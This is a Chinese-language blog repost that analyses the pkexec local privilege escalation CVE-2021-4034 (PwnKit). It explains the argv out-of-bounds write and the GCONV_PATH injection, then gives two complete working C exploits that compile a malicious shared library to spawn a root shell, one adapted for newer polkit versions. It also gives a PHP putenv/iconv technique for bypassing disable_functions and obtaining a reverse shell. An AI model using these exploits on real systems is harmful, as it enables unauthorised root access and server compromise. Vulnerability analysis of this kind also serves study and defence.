CVE-2021-4034 深入分析及漏洞复现

admin 2022年2月3日03:10:34评论902 views字数 7628阅读25分25秒阅读模式

漏洞分析

这个漏洞比较nb,现有的所有版本的pkexec都受到影响
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

漏洞原理

来直接看源码吧

CVE-2021-4034 深入分析及漏洞复现

挑了个0.120版本的,直接看main函数即可
源码链接:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
首先看到534行,这里main函数进来以后,先要对运行pkexec的参数进行处理,n=1被初始化赋值

但如果直接运行pkexec,没有加任何参数,这里的n也就一直为1了
接着到610行,此时argv[1] 实际上是越界了的,因为没有输入参数,而根据栈的布局,main函数输入的参数argv和envp是挨在一起的,这个稍微有一点二进制调试经验的人都知道


也就是说此时的argv[1]指向的是envp[0]
因此 path 会被赋值为envp[0]
接着来到632行,s = g_find_program_in_path (path),会通过PATH环境变量找到该程序的绝对路径并返回
最后触发数组下标越界写的地方在639行
此时argv[1]被赋值为 一个绝对地址,也就是 envp[0]被赋值为一个绝对地址
通过上面的分析可以发现,如果攻击者执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中

然后我们需要找到一个可以利用的环境变量,然后有这种方法给他写进去,这种环境变量是可以导致外部引入so并且执行其中的函数,这个变量就是GCONV_PATH

利用思考

那么一个问题来了,我们利用的关键无非就是引入一个危险的环境变量,从而导入恶意so执行罢了,为什么要这么麻烦用这个漏洞呢?
我直接调用 execve("pkexec", a_argv, a_envp);,在a_envp中指定GCONV_PATH不就完事了吗?
linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量,除了GCONV_PATH以外,也有其他环境变量可以直接引入外部so,如LD_PRELOAD ,所以这种方法是没用的 (不信写exp试试)

具体可以看glibc源码glibc-2.27/elf/dl-support.c 的_dl_non_dynamic_init函数中:
https://code.woboq.org/userspace/glibc/elf/dl-support.c.html





上述代码会把危险环境变量列表UNSECURE_ENVVARS里面的每一个环境变量给删除掉
定义在 https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html


可以看到,GCONV_PATH就在其中,这些环境变量都能有动态加载路径的能力,因此需要防止低权限用户通过这些环境变量利用suid程序造成提权

劫持执行流

那么引入了GCONV_PATH变量,如何劫持执行流的?

在源码中引用了很多次g_printerr函数,用于输出错误信息
该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。

iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。

因此如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。

最后一个问题就是 如何触发调用g_printerr函数了,我看了很多exp,主要有2种方式:

1.构造错误的XAUTHORITY环境变量,触发的函数调用路径为:
main -》validate_environment_variable


CVE-2021-4034 深入分析及漏洞复现


这个函数是用来检查现有的环境变量是否合法的



CVE-2021-4034 深入分析及漏洞复现



所以你可以看到,当你构造一个 XAUTHORITY变量,并且内容包含 “..”即可触发g_printerr函数

同理,第二种方法就是构造一个 错误的SHELL变量,就会触发g_printerr函数


利用过程

1. 伪造环境变量所指的目录文件结构
先创建一个名为 GCONV_PATH=. 的目录,然后在这个目录中创建一个 GCONV_PATH=./pwnkit 文件
在创建一个目录pwnkit用于存放恶意的so,然后再创建一个文件 pwnkit/gconv-modules其内容为:
module UTF-8// PWNKIT// pwnkit 1
这里有个链接:https://xy2401.com/local-docs/gnu/manual.zh/libc/glibc-iconv-Implementation.html
简单讲了module配置文件的写法,简单来说,以上面为例子,意思是从utf-8编码转换成PWNKIT编码,转换所需的资源在pwnkit.so中,消耗cost值为1,这就会让该转换具有更高的优先级

2. 构造恶意so
在pwnkit目录下编译一个so,其代码为:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
exit(0);
}

编译一下
gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC

3. execve调用pkexec并带入恶意envp数据
设置的环境变量有:

char *env[] = { "pwnkit",  #触发越界写漏洞,最终使得写入环境变量:GCONV_PATH=./pwnkit
"PATH=GCONV_PATH=.", #使得g_find_program_in_path查找pwnkit时会在GCONV_PATH=.目录中找到pwnkit
"CHARSET=PWNKIT", #触发g_printerr更换编码字符,从而调用so中的恶意代码
"SHELL=pwnkit", #触发调用g_printerr函数
NULL };

有些exp中是没有"SHELL=pwnkit",取而代之的是"XAUTHORITY=../xxx",都差不多,都是为了触发调用g_printerr函数

有些exp中也没有 "CHARSET=PWNKIT",而是 "LC_MESSAGES=en_US.UTF-8",作用都类似
设置完这些环境变量后就调用pkexec
execve("./pkexec_105", (char*[]){NULL}, env);

exp1

复现环境为 Ubuntu1604,pkexec版本为0.105,源码参考:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
"#include <stdio.h>n"
"#include <stdlib.h>n"
"#include <unistd.h>nn"
"void gconv() {}n"
"void gconv_init() {n"
" setuid(0); setgid(0);n"
" seteuid(0); setegid(0);n"
" system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh");n"
" exit(0);n"
"}";

int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("./pkexec_105", (char*[]){NULL}, env);
}

运行截图:

CVE-2021-4034 深入分析及漏洞复现

exp2

复现环境仍然是Ubuntu1604,不过选用0.115版本的pkexec进行漏洞复现,源码参考:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.115/src/programs/pkexec.c
我们边整一个0.115的版本,可以用centos的docker下载后拖出来,也可以去这里下载rpm包
https://centos.pkgs.org/8-stream/centos-baseos-x86_64/polkit-0.115-12.el8.x86_64.rpm.html

0.114+的版本中,在main函数里面多加了一句setenv





也正是这一句,导致网上能找到的大部分exp在0.114+以后的版本中无法提权成功
目前GitHub上能找到注意到这个问题的exp就只有下面两个
https://github.com/PeterGottesman/pwnkit-exploit
https://github.com/dzonerzy/poc-cve-2021-4034/blob/main/exploit.go

为什么有了这一句setenv会导致大部分exp无法利用呢?先说结论:这是因为setenv会导致 env环境发生迁移,使得数组越界写的漏洞无法注入恶意环境变量到envp中了

可以做个小实验试试看
t1模拟我们的exp程序,t2模拟0.115 版本的 pkexec程序

//t1
//gcc ./t1.c -o t1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

char *a_argv[]={NULL };
char *a_envp[]={
"env1=1",
"env2=2",
//"env3=123456789",
"env4=",
NULL
};
execve("./t2", a_argv, a_envp);
}
////////////////////////////////////////

//t2
//gcc ./t2.c -o t2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char**environ;

int main(int argc, char *argv[]) {
setenv("env3","local",1);
printf("stack envp:n");
printf("%p:%sn", &argv[1], argv[1]);
printf("%p:%sn", &argv[2] ,argv[2]);
printf("%p:%snn",&argv[3],argv[3]);

char** var;
printf("real environ:n");
for (var =environ;*var !=NULL;++var)
printf("%p:%sn", var, *var);
}

编译好后运行t1


CVE-2021-4034 深入分析及漏洞复现


可以看到,在t1中注入的环境变量env1,env2,env4都显示出来了
但是我们可以发现t2的环境变量地址已经发生改变了
一般来说,argv数组是和envp相邻挨着排布在栈里面的,然而这里可以看到,t2的环境变量地址已经变成了一个堆的地址,且在t2中设置的环境变量env3已经不出现在栈里面了,环境变量地址environ已经改变了

这就会导致漏洞无法利用,前面已经分析过了,漏洞是一个数组越界写,写的是栈上的envp[0],而此时envp已经不在栈上了,那么这个漏洞也就无法利用了,注入GCONV_PATH就不能做到了
为什么会发生envp的迁移?答案在glibc源码中
https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#149


CVE-2021-4034 深入分析及漏洞复现



在调用setenv时,如果发现要set的env不存在,那么会调用realloc函数,重新开辟一段空间来存储environ指针,且替代旧的指针
而如果 发现要set的env存在,那么直接复制数据过去即可,不再创建堆空间

CVE-2021-4034 深入分析及漏洞复现

因此我们要避免setenv函数导致的envp迁移,所以需要在调用setenv之前,把该环境变量给设置一遍
回到t1.c中 把注释打开

//"env3=123456789",

重新编译并运行:


CVE-2021-4034 深入分析及漏洞复现



可以看到,envp没有发生迁移,这样一来,后面的越界写的漏洞才能继续利用

也就是说,在exp1的代码中里面加入 设置环境变量 GIO_USE_VFS= 即可提权0.115版本的pkexec

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
"#include <stdio.h>n"
"#include <stdlib.h>n"
"#include <unistd.h>nn"
"void gconv() {}n"
"void gconv_init() {n"
" setuid(0); setgid(0);n"
" seteuid(0); setegid(0);n"
" system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh");n"
" exit(0);n"
"}";

int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT","GIO_USE_VFS=", "SHELL=pwnkit", NULL };
execve("./pkexec_115", (char*[]){NULL}, env);
}

运行截图:


CVE-2021-4034 深入分析及漏洞复现



小结

本文详细写了一些网上公开的exp中没有讲到的细节,我在复现过程中也是请教了不少大哥,虽然这个cve简单,但学到的姿势还是不少的,好久没搞二进制了,搞完这个漏洞感觉爷青回,这个漏洞完全可以出成一道pwn题了,非常经典

另外通过这个cve,我还意外发现了一种php bypass disablefunction的姿势
https://blog.csdn.net/qq_42303523/article/details/117911859

核心原理就是:php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,同样会用到iconv_open,因此如果php中存在任意文件上传的漏洞,我们就可以把so和gconv-modules传到/tmp目录中去
然后再利用php马触发到执行到so,最后实现反弹shell

例如

<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定义字符集名", "UTF-8", "whatever");
?>


参考

https://saucer-man.com/information_security/876.html#cl-1
https://blog.csdn.net/qq_42303523/article/details/117911859
https://zhuanlan.zhihu.com/p/462668954
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://github.com/berdav/CVE-2021-4034
https://github.com/arthepsy/CVE-2021-4034
https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
https://github.com/dzonerzy/poc-cve-2021-4034/blob/main/exploit.go
https://github.com/ryaagard/CVE-2021-4034/blob/main/exploit.c


来源:先知 

注:如有侵权请联系删除

CVE-2021-4034 深入分析及漏洞复现

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

CVE-2021-4034 深入分析及漏洞复现

经历与年龄无关,

但优秀与努力有关。



原文始发于微信公众号(衡阳信安):CVE-2021-4034 深入分析及漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月3日03:10:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-4034 深入分析及漏洞复现http://cn-sec.com/archives/764472.html

发表评论

匿名网友 填写信息